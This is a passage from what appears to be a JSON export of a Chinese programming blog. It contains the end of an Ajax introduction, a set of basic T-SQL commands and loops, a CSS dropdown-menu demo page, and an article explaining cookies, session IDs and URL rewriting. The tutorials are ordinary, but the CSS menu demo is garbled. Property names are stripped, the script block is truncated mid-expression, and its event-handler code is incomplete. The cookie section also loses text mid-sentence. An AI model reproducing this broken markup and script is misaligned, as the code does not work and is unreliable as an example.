月）详细阐述了如何使用文档对象模型来构建动态 Web 应用程序。 使用 AJAX 构建应用程序：学习用 AJAX 构建支持实时验证的 Web 应用程序（developerWorks，2006 年 3 月）演示了如何使用 Ajax 构造支持实时检验的 Web 应用程序。 面向 Java 开发人员的 Ajax: 结合 Direct Web Remoting 使用 Ajax （developerWorks，2005 年 11 月）演示了如何实现 Ajax 的繁琐细节的自动化处理。 OSA Foundation 有一个 wiki 调查了 AJAX/JavaScript 库。 XUL Planet 的 对象参考部分 详细介绍了 XMLHttpRequest 对象（更不用说其他各种 XML 对象了，如 DOM、CSS、HTML、Web Service 以及 Windows 和 Navigation 对象）。 关于 AJax 的基本原理，请阅读 策略白皮书。 请看看 Flickr.com 上展示的一些很棒的 Ajax 应用程序。 Google 的 GMail 是另一个利用 Ajax 的革命性 Web 应用程序的例子。 Head Rush Ajax （O\u0026#8217;Reilly Media, Inc.，2006 年 2 月）包含了本文以及本系列文章所述的内容（还有更多），并采用了创新的获奖格式 Head First。 JavaScript: The Definitive Guide，第 4 版（O\u0026#8217;Reilly Media, Inc.，2001 年 11 月）是关于 JavaScript 语言和使用动态网页的好资料。 developerWorks 中国网站 Web development 专区 专门发表关于各种基于 Web 的解决方案的文章。 讨论\n参与论坛讨论。 Ajax.NET Professional 是关于 Ajax 各个方面的很好的 blog。 通过参与 developerWorks blog 加入 developerWorks 社区。 关于作者\nBrett McLaughlin 从 Logo 时代就开始使用计算机。（还记得那个小三角吗？）近年来，他已经成为 Java 和 XML 社区最著名的作者和程序员之一。他曾经在 Nextel Communications 实现过复杂的企业系统，在 Lutris Technologies 编写过应用服务器，最近在 O\u0026#8217;Reilly Media, Inc. 继续撰写和编辑这方面的图书。Brett 即将出版的新书 Head Rush Ajax，和畅销书作者 Eric 与 Beth Freeman 一起为 Ajax 带来了获奖的革命性 Head First 方法。最近的著作 Java 1.5 Tiger: A Developer\u0026#8217;s Notebook 是关于 Java 技术最新版本的第一本书，经典的 Java and XML 仍然是在 Java 语言中使用 XML 技术的权威著作。\n","permalink":"https://hessian.cn/p/533.html","summary":"五年前，如果不知道 XML，您就是一只无人重视的丑小鸭。十八个月前，Ruby 成了关注的中心，不知道 Ruby 的程序员只能坐冷板凳了。今天，如果想跟上最新的技术时尚，那您的目标就是 Ajax。\n","title":"掌握 Ajax，第 1 部分: Ajax 简介"},{"content":"\n\u0026#8211;创建对象(表、视图、存储过程、函数)命令]\nCREATE TABLE/VIEW/PROCEDURE/FUNCTION\n\u0026#8211;创建表\nCREATE TABLE tabTestVB (VbName varchar(10),value numeric(10))\nGO\nCREATE TABLE tabTestVB1\n(VbName varchar(10),value1 numeric(10))\nGO\n\u0026#8211;插入数据（两种方式）\nINSERT INTO tabTestVB(VbName,value)\nSELECT \u0026#8216;AAA\u0026#8217;,123\nINSERT INTO tabTestVB1(VbName,value1)\nSELECT \u0026#8216;AAA\u0026#8217;,456\nINSERT INTO tabTestVB(VbName,value) VALUES (\u0026#8216;BBB\u0026#8217;,345)\nINSERT INTO tabTestVB1(VbName,value1) VALUES (\u0026#8216;CCC\u0026#8217;,1002)\n\u0026#8211;更改数据\nUPDATE tabTestVB SET value=798 WHERE VbName=\u0026#8217;AAA\u0026#8217;\n\u0026#8211;关联更改\nUPDATE tabTestVB SET value=tabTestVB1.value1 FROM tabTestVB1 WHERE tabTestVB.VbName=tabTestVB1.VbName\n\u0026#8211;删除数据\nDELETE tabTestVB WHERE VbName=\u0026#8217;AAA\u0026#8217;\n\u0026#8211;无日志删除数据\nTRUNCATE TABLE tabTestVB\n\u0026#8211;删除对象(表、视图、存储过程、函数)命令\nDROP TABLE/VIEW/PROC/FUNCTION\n\u0026#8211;删除表\nDROP TABLE tabTestVB\nDROP TABLE tabTestVB1\n\u0026#8211;赋值命令\nSET \u0026#8211;定义变量\nDECLARE \u0026#8211;流程控制语句\nWHILE \u0026#8230; BREAK\nBEGIN \u0026#8230; END\nIF \u0026#8230;ELSE\n\u0026#8212;-1\u0026#8230;100 的和\nDECLARE @NN NUMERIC(3)\nDECLARE @SUM NUMERIC(8)\nSET @NN=1\nSET @SUM=0\nWHILE @NN\u0026lt;=100\nBEGIN\n\u0026nbsp;\u0026nbsp; SET @SUM=@SUM+@NN\n\u0026nbsp;\u0026nbsp; SET @NN=@NN+1\nEND\nSELECT @SUM\n\u0026#8211;加上条件：当@NN=20 时退出循环(计算出1\u0026#8230;19的和)\nDECLARE @NN NUMERIC(3)\nDECLARE @SUM NUMERIC(8)\nSET @NN=1\nSET @SUM=0\nWHILE @NN\u0026lt;=100\nBEGIN\n\u0026nbsp;\u0026nbsp; IF @NN\u0026lt;\u0026gt;20\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;BEGIN\n\u0026nbsp;\u0026nbsp;\u0026nbsp; SET @SUM=@SUM+@NN\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;END\n\u0026nbsp;\u0026nbsp; ELSE\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;BEGIN\n\u0026nbsp;\u0026nbsp;\u0026nbsp; BREAK\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026#8211;END\n\u0026nbsp;\u0026nbsp; SET @NN=@NN+1\nEND\nSELECT @SUM\n\u0026#8211;全局变量\n@@ROWCOUNT\n\u0026#8211;返回受上一语句影响的行数\nSELECT \u0026#8216;1\u0026#8217;\nUNION ALL\nSELECT \u0026#8216;3\u0026#8217;\nSELECT @@ROWCOUNT\n@@ERROR\n\u0026#8211;返回最后执行的 Transact-SQL 语句的错误代码。\nSET @N =1\nSELECT @@ERROR\n\u0026#8212;-函数的使用\n\u0026#8211;返回当前日期\nSELECT GETDATE()\n\u0026#8211;生成16进制的标志列uniqueidentifier\nSELECT NEWID()\n\u0026#8211;转换数据类型和格式\nSELECT CONVERT(VARCHAR(10),GETDATE(),120)\n","permalink":"https://hessian.cn/p/365.html","summary":"\n\u0026#8211;创建对象(表、视图、存储过程、函数)命令]\nCREATE TABLE/VIEW/PROCEDURE/FUNCTION\n\u0026#8211;创建表\nCREATE TABLE tabTestVB (VbName varchar(10),value numeric(10))\nGO\nCREATE TABLE tabTestVB1\n(VbName varchar(10),value1 numeric(10))\nGO\n\u0026#8211;插入数据（两种方式）\nINSERT INTO tabTestVB(VbName,value)\nSELECT \u0026#8216;AAA\u0026#8217;,123\nINSERT INTO tabTestVB1(VbName,value1)\nSELECT \u0026#8216;AAA\u0026#8217;,456\n","title":"SQL的基本命令和几个常用函数汇总"},{"content":"\u0026lt;!DOCTYPE html PUBliC \u0026quot;-//W3C//DTD XHTML 1.0 Transitional//EN\u0026quot; \u0026quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\u0026quot;\u0026gt;\n\u0026lt;html xmlns=\u0026quot;http://www.w3.org/1999/xhtml\u0026quot; lang=\u0026quot;zh-CN\u0026quot;\u0026gt;\n\u0026lt;head\u0026gt;\n\u0026lt;meta http-equiv=\u0026quot;Content-Type\u0026quot; content=\u0026quot;text/html; charset=gb2312\u0026quot; /\u0026gt;\n\u0026lt;title\u0026gt;css菜单演示\u0026lt;/title\u0026gt;\n\u0026lt;style type=\u0026quot;text/css\u0026quot;\u0026gt;\n\u0026lt;!\u0026#8211;\n*{margin:0;padding:0;border:0;}\nbody {\n\u0026nbsp;\u0026nbsp; 宋体, serif;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ;\n}\n#nav {\n\u0026nbsp;\u0026nbsp; line-height: 24px; list-style-type: none; ;\n}\n#nav a {\n\u0026nbsp;\u0026nbsp; display: block; width: 80px; text-align:center;\n}\n#nav a:link {\n\u0026nbsp;\u0026nbsp; color:#666; text-decoration:none;\n}\n#nav a:visited {\n\u0026nbsp;\u0026nbsp; color:#666;text-decoration:none;\n}\n#nav a:hover {\n\u0026nbsp;\u0026nbsp; color:#FFF;text-decoration:none;;\n}\n#nav li {\n\u0026nbsp;\u0026nbsp; float: left; width: 80px; ;\n}\n#nav li a:hover{\n\u0026nbsp;\u0026nbsp; ;\n}\n#nav li ul {\n\u0026nbsp;\u0026nbsp; line-height: 27px; list-style-type: none;text-align:left;\n\u0026nbsp;\u0026nbsp; left: -999em; width: 180px; ; }\n#nav li ul li{\n\u0026nbsp;\u0026nbsp; float: left; width: 180px;\n\u0026nbsp;\u0026nbsp; ; }\n#nav li ul a{\n\u0026nbsp;\u0026nbsp; display: block; width: 180px;w idth: 156px;text-align:left;padding-left:24px;\n}\n#nav li ul a:link {\n\u0026nbsp;\u0026nbsp; color:#666; text-decoration:none;\n}\n#nav li ul a:visited {\n\u0026nbsp;\u0026nbsp; color:#666;text-decoration:none;\n}\n#nav li ul a:hover {\n\u0026nbsp;\u0026nbsp; color:#F3F3F3;text-decoration:none;;\n\u0026nbsp;\u0026nbsp; ;\n}\n#nav li:hover ul {\n\u0026nbsp;\u0026nbsp; left: auto;\n}\n#nav li.sfhover ul {\n\u0026nbsp;\u0026nbsp; left: auto;\n}\n#content {\n\u0026nbsp;\u0026nbsp; clear: left; }\n\u0026#8211;\u0026gt;\n\u0026lt;/style\u0026gt;\n\u0026lt;script type=text/\u0026quot;\u0026quot;) + \u0026quot;sfhover\u0026quot;;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; sfEls[i].onMouseDown=function() {\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; this.className+=(this.className.length\u0026gt;0? \u0026quot; \u0026quot;: \u0026quot;\u0026quot;) + \u0026quot;sfhover\u0026quot;;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; sfEls[i].onMouseUp=function() {\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; this.className+=(this.className.length\u0026gt;0? \u0026quot; \u0026quot;: \u0026quot;\u0026quot;) + \u0026quot;sfhover\u0026quot;;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; sfEls[i].onmouseout=function() {\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; this.className=this.className.replace(new RegExp(\u0026quot;( ?|^)sfhover b\u0026quot;), \u0026quot;\u0026quot;);\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; }\n}\nwindow.onload=menuFix;\n//\u0026#8211;\u0026gt;\u0026lt;!]]\u0026gt;\u0026lt;/script\u0026gt;\n\u0026lt;/head\u0026gt;\n\u0026lt;body\u0026gt;\n\u0026lt;ul \u0026gt;\n\u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;产品介绍\u0026lt;/a\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;ul\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;产品一\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;产品一\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;产品一\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;产品一\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;产品一\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;产品一\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;/ul\u0026gt;\n\u0026lt;/li\u0026gt;\n\u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;服务介绍\u0026lt;/a\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;ul\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;服务二\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;服务二\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;服务二\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;服务二服务二\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;服务二服务二服务二\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;服务二\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;/ul\u0026gt;\n\u0026lt;/li\u0026gt;\n\u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;成功案例\u0026lt;/a\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;ul\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;案例三\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;案例\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;案例三案例三\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;案例三案例三案例三\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;/ul\u0026gt;\n\u0026lt;/li\u0026gt;\n\u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;关于我们\u0026lt;/a\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;ul\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;我们四\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;我们四\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;我们四\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;我们四111\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;/ul\u0026gt;\n\u0026lt;/li\u0026gt;\n\u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;在线演示\u0026lt;/a\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;ul\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;演示\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;演示\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;演示\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;演示演示演示\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;演示演示演示\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;演示演示\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;演示演示演示\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;演示演示演示演示演示\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;/ul\u0026gt;\n\u0026lt;/li\u0026gt;\n\u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;联系我们\u0026lt;/a\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;ul\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;联系联系联系联系联系\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;联系联系联系\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;联系\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;联系联系\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;联系联系\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;联系联系联系\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026quot;#\u0026quot;\u0026gt;联系联系联系\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026lt;/ul\u0026gt;\n\u0026lt;/li\u0026gt;\n\u0026lt;/ul\u0026gt;\n\u0026lt;/body\u0026gt;\n\u0026lt;/html\u0026gt;\n","permalink":"https://hessian.cn/p/430.html","summary":"\u0026lt;!DOCTYPE html PUBliC \u0026quot;-//W3C//DTD XHTML 1.0 Transitional//EN\u0026quot; \u0026quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\u0026quot;\u0026gt;\n\u0026lt;html xmlns=\u0026quot;http://www.w3.org/1999/xhtml\u0026quot; lang=\u0026quot;zh-CN\u0026quot;\u0026gt;\n\u0026lt;head\u0026gt;\n\u0026lt;meta http-equiv=\u0026quot;Content-Type\u0026quot; content=\u0026quot;text/html; charset=gb2312\u0026quot; /\u0026gt;\n\u0026lt;title\u0026gt;css菜单演示\u0026lt;/title\u0026gt;\n\u0026lt;style type=\u0026quot;text/css\u0026quot;\u0026gt;\n\u0026lt;!\u0026#8211;\n*{margin:0;padding:0;border:0;}\nbody {\n\u0026nbsp;\u0026nbsp; 宋体, serif;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ;\n}\n","title":"CSS下拉菜单"},{"content":"摘要：虽然session机制在web应用程序中被采用已经很长时间了，但是仍然有很多人不清楚session机制的本质，以至不能正确的应用这一 技术。本文将详细讨论session的工作机制并且对在Java web application中应用session机制时常见的问题作出解答。\n目录：\n一、术语session\n二、HTTP协议与状态保持\n三、理解cookie机制\n四、理解session机制\n五、理解javax.servlet.http.HttpSession\n六、HttpSession常见问题\n七、跨应用程序的session共享\n八、总结\n参考文档\nsession，中文经常翻译为会话，其本来的含义是指有始有终的一系列动作/消息，比如打电话时从拿起电话拨号到挂断电话这中间的 一系列过程可以称之为一个session。有时候我们可以看到这样的话\u0026ldquo;在一个浏览器会话期间，\u0026#8230;\u0026rdquo;，这里的会话一词用的就是其本义，是指从一个浏览 器窗口打开到关闭这个期间①。最混乱的是\u0026ldquo;用户（客户端）在一次会话期间\u0026rdquo;这样一句话，它可能指用户的一系列动作（一般情况下是同某个具体目的相关的一系 列动作，比如从登录到选购商品到结账登出这样一个网上购物的过程，有时候也被称为一个transaction），然而有时候也可能仅仅是指一次连接，也有 可能是指含义①，其中的差别只能靠上下文来推断②。\n然而当session一词与网络协议相关联时，它又往往隐含了\u0026ldquo;面向连接\u0026rdquo;和/或\u0026ldquo;保持状态\u0026rdquo;这样两个含义，\u0026ldquo;面向连接\u0026rdquo;指的是在通信双方在通信之 前要先建立一个通信的渠道，比如打电话，直到对方接了电话通信才能开始，与此相对的是写信，在你把信发出去的时候你并不能确认对方的地址是否正确，通信渠 道不一定能建立，但对发信人来说，通信已经开始了。\u0026ldquo;保持状态\u0026rdquo;则是指通信的一方能够把一系列的消息关联起来，使得消息之间可以互相依赖，比如一个服务员 能够认出再次光临的老顾客并且记得上次这个顾客还欠店里一块钱。这一类的例子有\u0026ldquo;一个TCP session\u0026rdquo;或者\u0026ldquo;一个POP3 session\u0026rdquo;③。\n而到了web服务器蓬勃发展的时代，session在web开发语境下的语义又有了新的扩展，它的含义是指一类用来在客户端与服务器之间保持状态的 解决方案④。有时候session也用来指这种解决方案的存储结构，如\u0026ldquo;把xxx保存在session里\u0026rdquo;⑤。由于各种用于web开发的语言在一定程度上 都提供了对这种解决方案的支持，所以在某种特定语言的语境下，session也被用来指代该语言的解决方案，比如经常把Java里提供的 javax.servlet.http.HttpSession简称为session⑥。\n鉴于这种混乱已不可改变，本文中session一词的运用也会根据上下文有不同的含义，请大家注意分辨。\n在本文中，使用中文\u0026ldquo;浏览器会话期间\u0026rdquo;来表达含义①，使用\u0026ldquo;session机制\u0026rdquo;来表达含义④，使用\u0026ldquo;session\u0026rdquo;表达含义⑤，使用具体的\u0026ldquo;HttpSession\u0026rdquo;来表达含义⑥\n然而聪明（或者贪心？）的人们很快发现如果能够提供一些按需生成的动态信息会使web变得更加有用，就像给有线电视加上点播功能一 样。这种需求一方面迫使HTML逐步添加了表单、脚本、DOM等客户端行为，另一方面在服务器端则出现了CGI规范以响应客户端的动态请求，作为传输载体 的HTTP协议也添加了文件上载、cookie这些特性。其中cookie的作用就是为了解决HTTP协议无状态的缺陷所作出的努力。至于后来出现的 session机制则是又一种在客户端与服务器之间保持状态的解决方案。\n让我们用几个例子来描述一下cookie和session机制之间的区别与联系。笔者曾经常去的一家咖啡店有喝5杯咖啡免费赠一杯咖啡的优惠，然而一次性消费5杯咖啡的机会微乎其微，这时就需要某种方式来纪录某位顾客的消费数量。想象一下其实也无外乎下面的几种方案：\n1、该店的店员很厉害，能记住每位顾客的消费数量，只要顾客一走进咖啡店，店员就知道该怎么对待了。这种做法就是协议本身支持状态。\n2、发给顾客一张卡片，上面记录着消费的数量，一般还有个有效期限。每次消费时，如果顾客出示这张卡片，则此次消费就会与以前或以后的消费相联系起来。这种做法就是在客户端保持状态。\n3、发给顾客一张会员卡，除了卡号之外什么信息也不纪录，每次消费时，如果顾客出示该卡片，则店员在店里的纪录本上找到这个卡号对应的纪录添加一些消费信息。这种做法就是在服务器端保持状态。\n由于HTTP协议是无状态的，而出于种种考虑也不希望使之成为有状态的，因此，后面两种方案就成为现实的选择。具体来说cookie机制采用的是在 客户端保持状态的方案，而session机制采用的是在服务器端保持状态的方案。同时我们也看到，由于采用服务器端保持状态的方案在客户端也需要保存一个 标识，所以session机制可能需要借助于cookie机制来达到保存标识的目的，但实际上它还有其他选择。\ncookie机制的基本原理就如上面的例子一样简单，但是还有几个问题需要解决：\u0026ldquo;会员卡\u0026rdquo;如何分发；\u0026ldquo;会员卡\u0026rdquo;的内容；以及客户如何使用\u0026ldquo;会员卡\u0026rdquo;。\n正统的cookie分发是通过扩展HTTP协议来实现的，服务器通过在HTTP的响应头中加上一行特殊的指示以提示浏览器按照指示生成相应的 cookie。然而纯粹的客户端脚本如 PREF=ID=0565f77e132de138:NW=1:TM=1098082649:LM=1098082649:S=KaeaCFPo49RiA_d8; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com\nContent-Type: text/html\n这是使用HTTPLook这个HTTP Sniffer软件来俘获的HTTP通讯纪录的一部分\n浏览器在再次访问goolge的资源时自动向外发送cookie\n使用Firefox可以很容易的观察现有的cookie的值\n使用HTTPLook配合Firefox可以很容易的理解cookie的工作原理。\nIE也可以设置在接受cookie前询问\n这是一个询问接受cookie的对话框。\n当程序需要为某个客户端的请求创建一个session的时候，服务器首先检查这个客户端的请求里是否已包含了一个session标识 \u0026#8211; 称为session id，如果已包含一个session id则说明以前已经为此客户端创建过session，服务器就按照session id把这个session检索出来使用（如果检索不到，可能会新建一个），如果客户端请求不包含session id，则为此客户端创建一个session并且生成一个与此session相关联的session id，session id的值应该是一个既不会重复，又不容易被找到规律以仿造的字符串，这个session id将被在本次响应中返回给客户端保存。\n保存这个session id的方式可以采用cookie，这样在交互过程中浏览器可以自动的按照规则把这个标识发挥给服务器。一般这个cookie的名字都是类似于 SEEESIONID，而。比如weblogic对于web应用程序生成的cookie，JSESSIONID= ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764，它的名字就是 JSESSIONID。\n由于cookie可以被人为的禁止，必须有其他机制以便在cookie被禁止时仍然能够把session id传递回服务器。经常被使用的一种技术叫做URL重写，就是把session id直接附加在URL路径的后面，附加方式也有两种，一种是作为URL路径的附加信息，表现形式为http://\u0026#8230;../xxx; jsessionid=ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764\n另一种是作为查询字符串附加在URL后面，表现形式为http://\u0026#8230;../xxx?jsessionid=ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764\n这两种方式对于用户来说是没有区别的，只是服务器在解析的时候处理的方式不同，采用第一种方式也有利于把session id的信息和正常程序参数区分开来。\n为了在整个交互过程中始终保持状态，就必须在每个客户端可能请求的路径后面都包含这个session id。\n另一种技术叫做表单隐藏字段。就是服务器会自动修改表单，添加一个隐藏字段，以便在表单提交时能够把session id传递回服务器。比如下面的表单\n\u0026lt;form action=\u0026quot;/xxx\u0026quot;\u0026gt;\n\u0026lt;input type=\u0026quot;text\u0026quot;\u0026gt;\n\u0026lt;/form\u0026gt;\n在被传递给客户端之前将被改写成\n\u0026lt;form action=\u0026quot;/xxx\u0026quot;\u0026gt;\n\u0026lt;input type=\u0026quot;hidden\u0026quot; value=\u0026quot;ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764\u0026quot;\u0026gt;\n\u0026lt;input type=\u0026quot;text\u0026quot;\u0026gt;\n\u0026lt;/form\u0026gt;\n这种技术现在已较少应用，笔者接触过的很古老的iPlanet6(SunONE应用服务器的前身)就使用了这种技术。\n实际上这种技术可以简单的用对action应用URL重写来代替。\n在谈论session机制的时候，常常听到这样一种误解\u0026ldquo;只要关闭浏览器，session就消失了\u0026rdquo;。其实可以想象一下会员卡的例子，除非顾客主动 对店家提出销卡，否则店家绝对不会轻易删除顾客的资料。对session来说也是一样的，除非程序通知服务器删除一个session，否则服务器会一直保 留，程序一般都是在用户做log off的时候发个指令去删除session。然而浏览器从来不会主动在关闭之前通知服务器它将要关闭，因此服务器根本不会有机会知道浏览器已经关闭，之所 以会有这种错觉，是大部分session机制都使用会话cookie来保存session id，而关闭浏览器后这个session id就消失了，再次连接服务器时也就无法找到原来的session。如果服务器设置的cookie被保存到硬盘上，或者使用某种手段改写浏览器发出的 HTTP请求头，把原来的session 